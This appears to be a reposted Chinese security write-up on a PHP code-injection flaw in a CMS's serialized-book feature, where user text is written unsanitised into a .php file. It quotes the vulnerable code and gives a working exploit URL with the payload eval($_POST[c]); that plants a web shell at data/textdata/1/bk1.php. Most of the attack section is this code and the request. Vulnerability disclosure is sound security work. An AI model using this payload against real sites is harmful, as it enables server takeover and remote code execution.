最早见于http://groups.google.com/group/ph4nt0m/t/357dbcd7711f1864
经过研究发现。可以很方便的写入一个小马,前提是服务器开放会员系统,而且有图书连载里有类别。
漏洞代码如下:
include/inc_bookfunctions.php
function WriteBookText($cid,$body)
{
global $cfg_cmspath,$cfg_basedir;
$ipath = $cfg_cmspath."/data/textdata";
$tpath = ceil($cid/5000);
if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);
if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);
$bookfile = $cfg_basedir.$ipath."/{$tpath}/bk{$cid}.php";
$body = "<"."?php/r/n".$body."/r/n?".">";
@$fp = fopen($bookfile,'w');
@flock($fp);
@fwrite($fp,$body);
@fclose($fp);
}
member/story_add_content_action.php
WriteBookText($arcID,addslashes($body));
可以看到,只是用addslashes进行了转义。但是$body = "<"."?php/r/n".$body."/r/n?".">";很明显可以写入一个小马的。呵呵。
利用方法
http://www.target.com/member/story_add_content_action.php?body=eval($_POST[c]);&chapterid=1
这样就在data/textdata/目录下生成小马。 默认为data/textdata/1/bk1.php
本文介绍了一个存在于图书连载功能中的安全漏洞,该漏洞允许攻击者通过特定的PHP代码注入方式,在服务器上写入恶意脚本。利用此漏洞仅需简单请求,即可在服务器指定目录生成包含恶意代码的文件。
4438

被折叠的 条评论
为什么被折叠?



